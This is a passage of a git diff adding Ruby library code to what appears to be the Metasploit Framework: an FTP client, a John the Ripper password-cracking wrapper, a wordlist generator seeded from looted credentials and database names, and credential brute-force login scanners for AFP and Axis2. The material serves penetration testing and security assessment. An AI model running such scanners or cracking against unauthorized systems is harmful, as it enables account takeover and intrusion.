Framework + class Engine < Rails::Engine + include Metasploit::Framework::CommonEngine + end + end +end diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb new file mode 100644 index 0000000000..a1e3794549 --- /dev/null +++ b/lib/metasploit/framework/ftp/client.rb @@ -0,0 +1,276 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module Ftp + module Client + include Metasploit::Framework::Tcp::Client + + # + # This method establishes an FTP connection to host and port specified by + # the 'rhost' and 'rport' methods. After connecting, the banner + # message is read in and stored in the 'banner' attribute. + # + def connect(global = true) + fd = super(global) + + @ftpbuff = '' unless @ftpbuff + + # Wait for a banner to arrive... + self.banner = recv_ftp_resp(fd) + + # Return the file descriptor to the caller + fd + end + + # + # This method handles establishing datasocket for data channel + # + def data_connect(mode = nil, nsock = self.sock) + if mode + res = send_cmd([ 'TYPE' , mode ], true, nsock) + return nil if not res =~ /^200/ + end + + # force datasocket to renegotiate + self.datasocket.shutdown if self.datasocket != nil + + res = send_cmd(['PASV'], true, nsock) + return nil if not res =~ /^227/ + + # 227 Entering Passive Mode (127,0,0,1,196,5) + if res =~ /\((\d+)\,(\d+),(\d+),(\d+),(\d+),(\d+)/ + # convert port to FTP syntax + datahost = "#{$1}.#{$2}.#{$3}.#{$4}" + dataport = ($5.to_i * 256) + $6.to_i + self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + end + self.datasocket + end + + # + # This method handles disconnecting our data channel + # + def data_disconnect + self.datasocket.shutdown + self.datasocket = nil + end + + # + # Connect and login to the remote FTP server using the credentials + # that have been supplied in the exploit options. + # + def connect_login(user,pass,global = true) + ftpsock = connect(global) + + if !(user and pass) + return false + end + + res = send_user(user, ftpsock) + + if (res !~ /^(331|2)/) + return false + end + + if (pass) + res = send_pass(pass, ftpsock) + if (res !~ /^2/) + return false + end + end + + return true + end + + # + # This method logs in as the supplied user by transmitting the FTP + # 'USER ' command. + # + def send_user(user, nsock = self.sock) + raw_send("USER #{user}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method completes user authentication by sending the supplied + # password using the FTP 'PASS ' command. + # + def send_pass(pass, nsock = self.sock) + raw_send("PASS #{pass}\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends a QUIT command. + # + def send_quit(nsock = self.sock) + raw_send("QUIT\r\n", nsock) + recv_ftp_resp(nsock) + end + + # + # This method sends one command with zero or more parameters + # + def send_cmd(args, recv = true, nsock = self.sock) + cmd = args.join(" ") + "\r\n" + ret = raw_send(cmd, nsock) + if (recv) + return recv_ftp_resp(nsock) + end + return ret + end + + # + # This method transmits the command in args and receives / uploads DATA via data channel + # For commands not needing data, it will fall through to the original send_cmd + # + # For commands that send data only, the return will be the server response. + # For commands returning both data and a server response, an array will be returned. + # + # NOTE: This function always waits for a response from the server. + # + def send_cmd_data(args, data, mode = 'a', nsock = self.sock) + type = nil + # implement some aliases for various commands + if (args[0] =~ /^DIR$/i || args[0] =~ /^LS$/i) + # TODO || args[0] =~ /^MDIR$/i || args[0] =~ /^MLS$/i + args[0] = "LIST" + type = "get" + elsif (args[0] =~ /^GET$/i) + args[0] = "RETR" + type = "get" + elsif (args[0] =~ /^PUT$/i) + args[0] = "STOR" + type = "put" + end + + # fall back if it's not a supported data command + if not type + return send_cmd(args, true, nsock) + end + + # Set the transfer mode and connect to the remove server + return nil if not data_connect(mode) + + # Our pending command should have got a connection now. + res = send_cmd(args, true, nsock) + # make sure could open port + return nil unless res =~ /^(150|125) / + + # dispatch to the proper method + if (type == "get") + # failed listings jsut disconnect.. + begin + data = self.datasocket.get_once(-1, ftp_timeout) + rescue ::EOFError + data = nil + end + else + sent = self.datasocket.put(data) + end + + # close data channel so command channel updates + data_disconnect + + # get status of transfer + ret = nil + if (type == "get") + ret = recv_ftp_resp(nsock) + ret = [ ret, data ] + else + ret = recv_ftp_resp(nsock) + end + + ret + end + + # + # This method transmits a FTP command and waits for a response. If one is + # received, it is returned to the caller. + # + def raw_send_recv(cmd, nsock = self.sock) + nsock.put(cmd) + nsock.get_once(-1, ftp_timeout) + end + + # + # This method reads an FTP response based on FTP continuation stuff + # + def recv_ftp_resp(nsock = self.sock) + found_end = false + resp = "" + left = "" + if !@ftpbuff.empty? + left << @ftpbuff + @ftpbuff = "" + end + while true + data = nsock.get_once(-1, ftp_timeout) + if not data + @ftpbuff << resp + @ftpbuff << left + return data + end + + got = left + data + left = "" + + # handle the end w/o newline case + enlidx = got.rindex(0x0a.chr) + if enlidx != (got.length-1) + if not enlidx + left << got + next + else + left << got.slice!((enlidx+1)..got.length) + end + end + + # split into lines + rarr = got.split(/\r?\n/) + rarr.each do |ln| + if not found_end + resp << ln + resp << "\r\n" + if ln.length > 3 and ln[3,1] == ' ' + found_end = true + end + else + left << ln + left << "\r\n" + end + end + if found_end + @ftpbuff << left + return resp + end + end + end + + # + # This method transmits a FTP command and does not wait for a response + # + def raw_send(cmd, nsock = self.sock) + nsock.put(cmd) + end + + def ftp_timeout + raise NotImplementedError + end + + + + protected + + # + # This attribute holds the banner that was read in after a successful call + # to connect or connect_login. + # + attr_accessor :banner, :datasocket + + + end + end + end +end diff --git a/lib/metasploit/framework/jtr/cracker.rb b/lib/metasploit/framework/jtr/cracker.rb new file mode 100644 index 0000000000..52cd44ff7f --- /dev/null +++ b/lib/metasploit/framework/jtr/cracker.rb @@ -0,0 +1,272 @@ +module Metasploit + module Framework + module JtR + + class JohnNotFoundError < StandardError + end + + class Cracker + include ActiveModel::Validations + + # @!attribute config + # @return [String] The path to an optional config file for John to use + attr_accessor :config + + # @!attribute format + # @return [String] The hash format to try + attr_accessor :format + + # @!attribute hash_path + # @return [String] The path to the file containing the hashes + attr_accessor :hash_path + + # @!attribute incremental + # @return [String] The incremental mode to use + attr_accessor :incremental + + # @!attribute john_path + # This attribute allows the user to specify a john binary to use. + # If not supplied, the Cracker will search the PATH for a suitable john binary + # and finally fall back to the pre-compiled versions shipped with Metasploit. + # + # @return [String] The file path to an alternative John binary to use + attr_accessor :john_path + + # @!attribute max_runtime + # @return [Fixnum] An optional maximum duration of the cracking attempt in seconds + attr_accessor :max_runtime + + # @!attribute pot + # @return [String] The file path to an alternative John pot file to use + attr_accessor :pot + + # @!attribute rules + # @return [String] The wordlist mangling rules to use inside John + attr_accessor :rules + + # @!attribute wordlist + # @return [String] The file path to the wordlist to use + attr_accessor :wordlist + + validates :config, :'Metasploit::Framework::File_path' => true, if: 'config.present?' + + validates :hash_path, :'Metasploit::Framework::File_path' => true, if: 'hash_path.present?' + + validates :john_path, :'Metasploit::Framework::Executable_path' => true, if: 'john_path.present?' + + validates :pot, :'Metasploit::Framework::File_path' => true, if: 'pot.present?' + + validates :max_runtime, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + }, if: 'max_runtime.present?' + + validates :wordlist, :'Metasploit::Framework::File_path' => true, if: 'wordlist.present?' + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + # This method follows a decision tree to determine the path + # to the John the Ripper binary we should use. + # + # @return [NilClass] if a binary path could not be found + # @return [String] the path to the selected JtR binary + def binary_path + # Always prefer a manually entered path + if john_path && ::File.file?(john_path) + bin_path = john_path + else + # Look in the Environment PATH for the john binary + path = Rex::FileUtils.find_full_path("john") || + Rex::FileUtils.find_full_path("john.exe") + + if path && ::File.file?(path) + bin_path = path + else + # If we can't find john anywhere else, look at our precompiled binaries + bin_path = select_shipped_binary + end + end + raise JohnNotFoundError, 'No suitable John binary was found on the system' if bin_path.blank? + bin_path + end + + # This method runs the command from {#crack_command} and yields each line of output. + # + # @yield [String] a line of output from the john command + # @return [void] + def crack + ::IO.popen(crack_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method builds an array for the command to actually run the cracker. + # It builds the command from all of the attributes on the class. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def crack_command + cmd_string = binary_path + cmd = [ cmd_string, '--session=' + john_session_id, '--nolog' ] + + if config.present? + cmd << ( "--config=" + config ) + else + cmd << ( "--config=" + john_config_file ) + end + + if pot.present? + cmd << ( "--pot=" + pot ) + else + cmd << ( "--pot=" + john_pot_file) + end + + if format.present? + cmd << ( "--format=" + format ) + end + + if wordlist.present? + cmd << ( "--wordlist=" + wordlist ) + end + + if incremental.present? + cmd << ( "--incremental=" + incremental ) + end + + if rules.present? + cmd << ( "--rules=" + rules ) + end + + if max_runtime.present? + cmd << ( "--max-run-time=" + max_runtime.to_s) + end + + cmd << hash_path + end + + # This runs the show command in john and yields cracked passwords. + # + # @yield [String] the output lines from the command + # @return [void] + def each_cracked_password + ::IO.popen(show_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method returns the path to a default john.conf file. + # + # @return [String] the path to the default john.conf file + def john_config_file + ::File.join( ::Msf::Config.data_directory, "john", "confs", "john.conf" ) + end + + # This method returns the path to a default john.pot file. + # + # @return [String] the path to the default john.pot file + def john_pot_file + ::File.join( ::Msf::Config.config_directory, "john.pot" ) + end + + # This method is a getter for a random Session ID for John. + # It allows us to dinstiguish between cracking sessions. + # + # @ return [String] the Session ID to use + def john_session_id + @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) + end + + # This method builds the command to show the cracked passwords. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def show_command + cmd_string = binary_path + + pot_file = pot || john_pot_file + cmd = [cmd_string, "--show", "--pot=#{pot_file}", "--format=#{format}" ] + + if config + cmd << "--config=#{config}" + else + cmd << ( "--config=" + john_config_file ) + end + + cmd << hash_path + end + + private + + # This method tries to identify the correct version of the pre-shipped + # JtR binaries to use based on the platform. + # + # @return [NilClass] if the correct binary could not be determined + # @return [String] the path to the selected binary + def select_shipped_binary + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") + run_path = nil + if File.directory?(cpuinfo_base) + data = nil + + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.sse2", "john.exe") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.mmx", "john.exe") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.any", "john.exe") + end + when /x86_64-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x64.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + when /i[\d]86-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.sse2", "john") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + end + end + run_path + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/jtr/invalid_wordlist.rb b/lib/metasploit/framework/jtr/invalid_wordlist.rb new file mode 100644 index 0000000000..edf91b9505 --- /dev/null +++ b/lib/metasploit/framework/jtr/invalid_wordlist.rb @@ -0,0 +1,20 @@ +module Metasploit + module Framework + module JtR + + # This class is the generic Exception raised by a {Wordlist} when + # it fails validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class InvalidWordlist < StandardError + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/jtr/wordlist.rb b/lib/metasploit/framework/jtr/wordlist.rb new file mode 100644 index 0000000000..1b8a395eef --- /dev/null +++ b/lib/metasploit/framework/jtr/wordlist.rb @@ -0,0 +1,429 @@ +require 'metasploit/framework/jtr/invalid_wordlist' + +module Metasploit + module Framework + module JtR + + class Wordlist + include ActiveModel::Validations + + # A mapping of the mutation substitution rules + MUTATIONS = { + '@' => 'a', + '0' => 'o', + '3' => 'e', + '$' => 's', + '7' => 't', + '1' => 'l', + '5' => 's' + } + + # @!attribute appenders + # @return [Array] an array of strings to append to each word + attr_accessor :appenders + + # @!attribute custom_wordlist + # @return [String] the path to a custom wordlist file to include + attr_accessor :custom_wordlist + + # @!attribute mutate + # @return [TrueClass] if you want each word mutated as it is added + # @return [FalseClass] if you do not want each word mutated + attr_accessor :mutate + + # @!attribute prependers + # @return [Array] an array of strings to prepend to each word + attr_accessor :prependers + + # @!attribute use_common_root + # @return [TrueClass] if you want to use the common root words wordlist + # @return [FalseClass] if you do not want to use the common root words wordlist + attr_accessor :use_common_root + + # @!attribute use_creds + # @return [TrueClass] if you want to seed the wordlist with existing credential data from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing credential data from the database + attr_accessor :use_creds + + # @!attribute use_db_info + # @return [TrueClass] if you want to seed the wordlist with looted database names and schemas + # @return [FalseClass] if you do not want to seed the wordlist with looted database names and schemas + attr_accessor :use_db_info + + # @!attribute use_default_wordlist + # @return [TrueClass] if you want to use the default wordlist + # @return [FalseClass] if you do not want to use the default wordlist + attr_accessor :use_default_wordlist + + # @!attribute use_hostnames + # @return [TrueClass] if you want to seed the wordlist with existing hostnames from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing hostnames from the database + attr_accessor :use_hostnames + + # @!attribute workspace + # @return [Mdm::Workspace] the workspace this cracker is for. + attr_accessor :workspace + + validates :custom_wordlist, :'Metasploit::Framework::File_path' => true, if: 'custom_wordlist.present?' + + validates :mutate, + inclusion: { in: [true, false], message: "must be true or false" } + + + validates :use_common_root, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_creds, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_db_info, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_default_wordlist, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_hostnames, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :workspace, + presence: true + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + @appenders ||= [] + @prependers ||= [] + end + + # This method takes a word, and appends each word from the appenders list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_appended_word(word='') + yield word + appenders.each do |suffix| + yield "#{word}#{suffix}" + end + end + + # This method checks all the attributes set on the object and calls + # the appropriate enumerators for each option and yields the results back + # up the call-chain. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_base_word + # Make sure are attributes are all valid first! + valid! + + # Yield the expanded form of each line of the custom wordlist if one was given + if custom_wordlist.present? + each_custom_word do |word| + yield word unless word.blank? + end + end + + # Yield each word from the common root words list if it was selected + if use_common_root + each_root_word do |word| + yield word unless word.blank? + end + end + + # If the user has selected use_creds we yield each password, username, and realm name + # that currently exists in the database. + if use_creds + each_cred_word do |word| + yield word unless word.blank? + end + end + + if use_db_info + each_database_word do |word| + yield word unless word.blank? + end + end + + if use_default_wordlist + each_default_word do |word| + yield word unless word.blank? + end + end + + if use_hostnames + each_hostname_word do |word| + yield word unless word.blank? + end + end + + end + + # This method searches all saved Credentials in the database + # and yields all passwords, usernames, and realm names it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_cred_word + # We don't want all Private types here. Only Passwords make sense for inclusion in the wordlist. + Metasploit::Credential::Password.all.each do |password| + yield password.data + end + + Metasploit::Credential::Public.all.each do |public| + yield public.username + end + + Metasploit::Credential::Realm.all.each do |realm| + yield realm.value + end + end + + # This method reads the file provided as custom_wordlist and yields + # the expanded form of each word in the list. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_custom_word + ::File.open(custom_wordlist, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method searches the notes in the current workspace + # for DB instance names, database names, table names, and + # column names gathered from live database servers. It yields + # each one that it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_database_word + # Yield database, table and column names from any looted database schemas + workspace.notes.where('ntype like ?', '%.schema%').each do |note| + expanded_words(note.data['DBName']) do |word| + yield word + end + + note.data['Tables'].each do |table| + expanded_words(table['TableName']) do |word| + yield word + end + + table['Columns'].each do |column| + expanded_words(column['ColumnName']) do |word| + yield word + end + end + end + end + + # Yield any capture MSSQL Instance names + workspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']).each do |note| + expanded_words(note.data['InstanceName']) do |word| + yield word + end + end + end + + # This method yields expanded words taken from the default john + # wordlist that we ship in the data directory. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_default_word + ::File.open(default_wordlist_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method yields the expanded words out of all the hostnames + # found in the current workspace. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_hostname_word + workspace.hosts.all.each do |host| + unless host.name.nil? + expanded_words(host.name) do |word| + yield nil + end + end + end + end + + # This method checks to see if the user asked for mutations. If mutations + # have been enabled, then it creates all the unique mutations and yields + # each result. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_mutated_word(word='') + mutants = [ ] + + # Run the mutations only if the option is set + if mutate + mutants = mutants + mutate_word(word) + end + + mutants << word + mutants.uniq.each do |mutant| + yield mutant + end + end + + # This method takes a word, and prepends each word from the prependers list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_prepended_word(word='') + yield word + prependers.each do |prefix| + yield "#{prefix}#{word}" + end + end + + # This method reads the common_roots.txt wordlist + # expands any words in the list and yields them. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_root_word + ::File.open(common_root_words_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method wraps around all the other enumerators. It processes + # all of the options and yields each word generated by the options + # selected. + # + # @yieldparam word [String] the word to write out to the wordlist file + # @return [void] + def each_word + each_base_word do |base_word| + each_mutated_word(base_word) do |mutant| + each_prepended_word(mutant) do |prepended| + yield prepended + end + + each_appended_word(mutant) do |appended| + yield appended + end + end + end + end + + # This method takes a string and splits it on non-word characters + # and the underscore. It does this to find likely distinct words + # in the string. It then yields each 'word' found this way. + # + # @param word [String] the string to split apart + # @yieldparam expanded [String] the expanded words + # @return [void] + def expanded_words(word='') + word.split(/[\W_]+/).each do |expanded| + yield expanded + end + end + + # This method takes a word and applies various mutation rules to that word + # and returns an array of all the mutated forms. + # + # @param word [String] the word to apply the mutations to + # @return [Array] An array containing all the mutated forms of the word + def mutate_word(word) + results = [] + # Iterate through combinations to create each possible mutation + mutation_keys.each do |iteration| + next if iteration.flatten.empty? + intermediate = word.dup + subsititutions = iteration.collect { |key| MUTATIONS[key] } + intermediate.tr!(subsititutions.join, iteration.join) + results << intermediate + end + results.flatten.uniq + end + + # A getter for a memoized version fo the mutation keys list + # + # @return [Array] a 2D array of all mutation combinations + def mutation_keys + @mutation_keys ||= generate_mutation_keys + end + + # This method takes all the options provided and streams the generated wordlist out + # to a {Rex::Quickfile} and returns the {Rex::Quickfile}. + # + # @return [Rex::Quickfile] The {Rex::Quickfile} object that the wordlist has been written to + def to_file + valid! + wordlist_file = Rex::Quickfile.new("jtrtmp") + each_word do |word| + wordlist_file.puts word + end + wordlist_file + end + + # Raise an exception if the attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::JtR::InvalidWordlist.new(self) + end + nil + end + + + + private + + # This method returns the path to the common_roots.txt wordlist + # + # @return [String] the file path to the common_roots.txt file + def common_root_words_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'common_roots.txt') + end + + # This method returns the path to the passwords.lst wordlist + # + # @return [String] the file path to the passwords.lst file + def default_wordlist_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'password.lst') + end + + def generate_mutation_keys + iterations = MUTATIONS.keys.dup + + # Find PowerSet of all possible mutation combinations + iterations.inject([[]]) do |accumulator,mutation_key| + power_set = [] + accumulator.each do |i| + power_set << i + power_set << i+[mutation_key] + end + power_set + end + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/login_scanner.rb b/lib/metasploit/framework/login_scanner.rb new file mode 100644 index 0000000000..1730977b7a --- /dev/null +++ b/lib/metasploit/framework/login_scanner.rb @@ -0,0 +1,47 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + # This module provides the namespace for all LoginScanner classes. + # LoginScanners are the classes that provide functionality for testing + # authentication against various different protocols and mechanisms. + module LoginScanner + require 'metasploit/framework/login_scanner/result' + require 'metasploit/framework/login_scanner/invalid' + + # Gather a list of LoginScanner classes that can potentially be + # used for a given `service`, which should usually be an + # `Mdm::Service` object, but can be anything that responds to + # #name and #port. + # + # @param service [Mdm::Service,#port,#name] + # @return [Array] A collection of LoginScanner + # classes that will probably give useful results when run + # against `service`. + def self.classes_for_service(service) + + unless @required + # Make sure we've required all the scanner classes + dir = File.expand_path("../login_scanner/", __FILE__) + Dir.glob(File.join(dir, "*.rb")).each do |f| + require f if File.file?(f) + end + @required = true + end + + self.constants.map{|sym| const_get(sym)}.select do |const| + next unless const.kind_of?(Class) + + ( + const.const_defined?(:LIKELY_PORTS) && + const.const_get(:LIKELY_PORTS).include?(service.port) + ) || ( + const.const_defined?(:LIKELY_SERVICE_NAMES) && + const.const_get(:LIKELY_SERVICE_NAMES).include?(service.name) + ) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/afp.rb b/lib/metasploit/framework/login_scanner/afp.rb new file mode 100644 index 0000000000..60f6c0084c --- /dev/null +++ b/lib/metasploit/framework/login_scanner/afp.rb @@ -0,0 +1,55 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/afp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Apple Filing + # Protocol. + class AFP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::AFP::Client + + DEFAULT_PORT = 548 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ "afp" ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute login_timeout + # @return [Integer] Number of seconds to wait before giving up + attr_accessor :login_timeout + + def attempt_login(credential) + begin + connect + rescue Rex::ConnectionError, EOFError, Timeout::Error + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + success = login(credential.public, credential.private) + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT + end + + result = Result.new(credential: credential, status: status) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'afp' + result + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb new file mode 100644 index 0000000000..6f3ee27b90 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -0,0 +1,76 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Axis2 < HTTP + + DEFAULT_PORT = 8080 + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + + CAN_GET_SESSION = true + PRIVATE_TYPES = [ :password ] + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + body = "userName=#{Rex::Text.uri_encode(credential.public)}&password=#{Rex::Text.uri_encode(credential.private)}&submit=+Login+" + request = http_client.request_cgi( + 'uri' => uri, + 'method' => "POST", + 'data' => body, + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body.include?("upload") + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/axis2/axis2-admin/login" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] + def method=(_) + raise RuntimeError, "Method must be POST for Axis2" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb new file mode 100644 index 0000000000..2d40fb948d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -0,0 +1,222 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the base behaviour for all of + # the LoginScanner classes. All of the LoginScanners + # should include this module to establish base behaviour + module Base + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute connection_timeout + # @return [Fixnum] The timeout in seconds for a single SSH connection + attr_accessor :connection_timeout + # @!attribute cred_details + # @return [CredentialCollection] Collection of Credential objects + attr_accessor :cred_details + # @!attribute host + # @return [String] The IP address or hostname to connect to + attr_accessor :host + # @!attribute port + # @return [Fixnum] The port to connect to + attr_accessor :port + # @!attribute proxies + # @return [String] The proxy directive to use for the socket + attr_accessor :proxies + # @!attribute stop_on_success + # @return [Boolean] Whether the scanner should stop when it has found one working Credential + attr_accessor :stop_on_success + + validates :connection_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :cred_details, presence: true + + validates :host, presence: true + + validates :port, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1, + less_than_or_equal_to: 65535 + } + + validates :stop_on_success, + inclusion: { in: [true, false] } + + validate :host_address_must_be_valid + + validate :validate_cred_details + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + set_sane_defaults + end + + # Attempt a single login against the service with the given + # {Credential credential}. + # + # @param credential [Credential] The credential object to attmpt to + # login with + # @return [Result] A Result object indicating success or failure + # @abstract Protocol-specific scanners must implement this for their + # respective protocols + def attempt_login(credential) + raise NotImplementedError + end + + + def each_credential + cred_details.each do |raw_cred| + # This could be a Credential object, or a Credential Core, or an Attempt object + # so make sure that whatever it is, we end up with a Credential. + credential = raw_cred.to_credential + + if credential.realm.present? && self.class::REALM_KEY.present? + credential.realm_key = self.class::REALM_KEY + yield credential + elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present? + credential.realm_key = self.class::REALM_KEY + credential.realm = self.class::DEFAULT_REALM + yield credential + elsif credential.realm.present? && self.class::REALM_KEY.blank? + second_cred = credential.dup + # Strip the realm off here, as we don't want it + credential.realm = nil + credential.realm_key = nil + yield credential + # Some services can take a domain in the username like this even though + # they do not explicitly take a domain as part of the protocol. + second_cred.public = "#{second_cred.realm}\\#{second_cred.public}" + second_cred.realm = nil + second_cred.realm_key = nil + yield second_cred + else + yield credential + end + end + end + + # Attempt to login with every {Credential credential} in + # {#cred_details}, by calling {#attempt_login} once for each. + # + # If a successful login is found for a user, no more attempts + # will be made for that user. + # + # @yieldparam result [Result] The {Result} object for each attempt + # @yieldreturn [void] + # @return [void] + def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + + each_credential do |credential| + # For Pro bruteforce Reuse and Guess we need to note that we skipped an attempt. + if successful_users.include?(credential.public) + if credential.parent.respond_to?(:skipped) + credential.parent.skipped = true + credential.parent.save! + end + next + end + + result = attempt_login(credential) + result.freeze + + yield result if block_given? + + if result.success? + consecutive_error_count = 0 + break if stop_on_success + successful_users << credential.public + else + if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + consecutive_error_count += 1 + total_error_count += 1 + break if consecutive_error_count >= 3 + break if total_error_count >= 10 + end + end + end + nil + end + + # Raise an exception if this scanner's attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::LoginScanner::Invalid.new(self) + end + nil + end + + + private + + # This method validates that the host address is both + # of a valid type and is resolveable. + # @return [void] + def host_address_must_be_valid + if host.kind_of? String + begin + resolved_host = ::Rex::Socket.getaddress(host, true) + if host =~ /^\d{1,3}(\.\d{1,3}){1,3}$/ + unless host =~ Rex::Socket::MATCH_IPV4 + errors.add(:host, "could not be resolved") + end + end + self.host = resolved_host + rescue + errors.add(:host, "could not be resolved") + end + else + errors.add(:host, "must be a string") + end + end + + # This is a placeholder method. Each LoginScanner class + # will override this with any sane defaults specific to + # its own behaviour. + # @abstract + # @return [void] + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + end + + # This method validates that the credentials 